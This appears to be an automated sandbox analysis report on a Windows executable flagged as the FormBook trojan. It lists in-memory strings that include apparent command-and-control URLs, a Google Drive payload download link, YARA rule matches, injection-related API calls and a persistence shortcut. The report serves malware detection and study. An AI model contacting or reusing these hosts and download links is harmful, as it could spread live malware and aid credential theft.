Data Ascii: 33cb}kFfC&%7l4veHfF(,Z

Source: secinit.exe, 0000000A.00000002.83835201510.0000000004608000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.00000000047A8000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://belgravevilla.com/8cwt/?24eluX=/eyPcvofDN2lSaRtaOy598Um2jV4WFkB8F
Source: secinit.exe, 0000000A.00000002.83835201510.00000000042E4000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.0000000004484000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://brongal.by/8cwt/?24eluX=2L0w4dAlDepmBmTjVKMMeU7pTlJruWimQKtzQaHnPyexis6Apolau4
Source: fJuwM4Bwi7.exe, 00000008.00000002.79182091174.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083691361.000000000269F000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083226340.0000000002695000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79053109089.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: fJuwM4Bwi7.exe, 00000008.00000002.79182091174.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083691361.000000000269F000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083226340.0000000002695000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79053109089.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
Source: fJuwM4Bwi7.exe	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: fJuwM4Bwi7.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: secinit.exe, 0000000A.00000002.83836936890.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83835201510.00000000037E6000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.0000000003986000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.gopher.ftp://ftp.
Source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000626000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
Source: secinit.exe, 0000000A.00000002.83835201510.000000000479A000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.000000000493A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.insist.site/
Source: SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83832835974.00000000014AB000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.shun-yamagata.com
Source: SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83832835974.00000000014AB000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.shun-yamagata.com/8cwt/
Source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
Source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.00000000005F2000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000263E000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002672000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: fJuwM4Bwi7.exe, 00000008.00000002.79182091174.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083691361.000000000269F000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083226340.0000000002695000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79053109089.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?
Source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000263E000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79182507617.0000000002800000.00000004.00001000.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000266B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq
Source: fJuwM4Bwi7.exe, 00000008.00000002.79182091174.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083691361.000000000269F000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083226340.0000000002695000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79053109089.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: fJuwM4Bwi7.exe, 00000008.00000002.79182091174.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083691361.000000000269F000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79083226340.0000000002695000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000003.79053109089.00000000026A2000.00000004.00000020.00020000.00000000.sdmp, fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq&export=download
Source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq&export=download/
Source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002618000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1aR4Z8ZJ0aOrlWMPa0XiQ2Bvj5cArcFOq&export=downloadQ
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: fJuwM4Bwi7.exe, 00000008.00000001.78926393304.0000000000649000.00000020.00000001.01000000.00000007.sdmp	String found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
Source: secinit.exe, 0000000A.00000002.83830820007.000000000010B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://login.li
Source: secinit.exe, 0000000A.00000002.83830820007.000000000010B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://login.lihttps://login.li0
Source: secinit.exe, 0000000A.00000002.83832065091.00000000027EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: secinit.exe, 0000000A.00000002.83832065091.00000000027EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: secinit.exe, 0000000A.00000002.83832065091.00000000027EB000.00000004.00000020.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83832065091.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: secinit.exe, 0000000A.00000002.83832065091.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: secinit.exe, 0000000A.00000002.83832065091.00000000027EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: secinit.exe, 0000000A.00000002.83832065091.00000000027C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: secinit.exe, 0000000A.00000003.79359194925.000000000757A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.liv
Source: fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: secinit.exe, 0000000A.00000003.79365005031.0000000007598000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: fJuwM4Bwi7.exe, 00000008.00000003.79036970427.00000000026A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: secinit.exe, 0000000A.00000002.83836936890.0000000005AD0000.00000004.00000800.00020000.00000000.sdmp, secinit.exe, 0000000A.00000002.83835201510.00000000037E6000.00000004.10000000.00040000.00000000.sdmp, SLePhgUCFUcrYZVod.exe, 0000000B.00000002.83834401925.0000000003986000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443

Source: unknown	HTTPS traffic detected: 142.250.217.174:443 -> 192.168.11.30:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.215.132:443 -> 192.168.11.30:49843 version: TLS 1.2

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 5_2_0040515D GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

5_2_0040515D

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329534E0 NtCreateMutant,LdrInitializeThunk,	8_2_329534E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952B90 NtFreeVirtualMemory,LdrInitializeThunk,	8_2_32952B90
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32954260 NtSetContextThread,	8_2_32954260
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32954570 NtSuspendThread,	8_2_32954570
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952A80 NtClose,	8_2_32952A80
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952AA0 NtQueryInformationFile,	8_2_32952AA0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952AC0 NtEnumerateValueKey,	8_2_32952AC0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952A10 NtWriteFile,	8_2_32952A10
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952B80 NtCreateKey,	8_2_32952B80
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952BC0 NtQueryInformationToken,	8_2_32952BC0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952BE0 NtQueryVirtualMemory,	8_2_32952BE0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952B10 NtAllocateVirtualMemory,	8_2_32952B10
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952B00 NtQueryValueKey,	8_2_32952B00
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32952B20 NtQueryInformationProcess,	8_2_32952B20
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329538D0 NtGetContextThread,	8_2_329538D0

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 5_2_00403217 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

5_2_00403217

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 5_2_00406310	5_2_00406310
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 5_2_0040499C	5_2_0040499C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290D2EC	8_2_3290D2EC
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_328E2245	8_2_328E2245
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32911380	8_2_32911380
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292E310	8_2_3292E310
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DF330	8_2_329DF330
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329100A0	8_2_329100A0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292B0D0	8_2_3292B0D0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D70F1	8_2_329D70F1
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CE076	8_2_329CE076
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329251C0	8_2_329251C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293B1E0	8_2_3293B1E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3290F113	8_2_3290F113
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329E010E	8_2_329E010E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BD130	8_2_329BD130
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3296717A	8_2_3296717A
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920680	8_2_32920680
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DA6C0	8_2_329DA6C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DF6F6	8_2_329DF6F6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3291C6E0	8_2_3291C6E0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293C600	8_2_3293C600
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329BD62C	8_2_329BD62C
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329CD646	8_2_329CD646
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32944670	8_2_32944670
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_328E1707	8_2_328E1707
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D6757	8_2_329D6757
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32922760	8_2_32922760
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3292A760	8_2_3292A760
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920445	8_2_32920445
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DF5C9	8_2_329DF5C9
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D75C6	8_2_329D75C6
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329EA526	8_2_329EA526
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DFA89	8_2_329DFA89
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_3293FAA0	8_2_3293FAA0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DCA13	8_2_329DCA13
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DEA5B	8_2_329DEA5B
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32994BC0	8_2_32994BC0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32920B10	8_2_32920B10
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329DFB2E	8_2_329DFB2E
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32936882	8_2_32936882
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329228C0	8_2_329228C0
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329D78F3	8_2_329D78F3
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_32923800	8_2_32923800
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: 8_2_329C0835	8_2_329C0835

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: String function: 3290B910 appears 136 times
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: String function: 32967BE4 appears 56 times
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: String function: 3299EF10 appears 57 times
Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe	Code function: String function: 3298E692 appears 49 times

Source: fJuwM4Bwi7.exe, 00000008.00000002.79194682285.0000000032BB0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs fJuwM4Bwi7.exe
Source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.0000000002688000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesecinitj% vs fJuwM4Bwi7.exe
Source: fJuwM4Bwi7.exe, 00000008.00000002.79181660044.000000000267E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamesecinitj% vs fJuwM4Bwi7.exe
Source: fJuwM4Bwi7.exe, 00000008.00000003.79086644486.0000000032866000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs fJuwM4Bwi7.exe
Source: fJuwM4Bwi7.exe, 00000008.00000003.79082655954.00000000326AD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs fJuwM4Bwi7.exe
Source: fJuwM4Bwi7.exe, 00000008.00000002.79194682285.0000000032A0D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs fJuwM4Bwi7.exe

Source: fJuwM4Bwi7.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 0000000A.00000002.83833661006.0000000002A10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.79178393595.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.83831074865.0000000000180000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000A.00000002.83833772004.0000000002A50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.83832835974.0000000001450000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.83833394581.0000000004920000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000008.00000002.79195519059.0000000034A30000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/22@21/14

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 5_2_0040442A GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

5_2_0040442A

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

Code function: 5_2_00402036 CoCreateInstance,MultiByteToWideChar,

5_2_00402036

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

File created: C:\Users\user\AppData\Local\Lumbagoen.lnk

Jump to behavior

Source: C:\Users\user\Desktop\fJuwM4Bwi7.exe

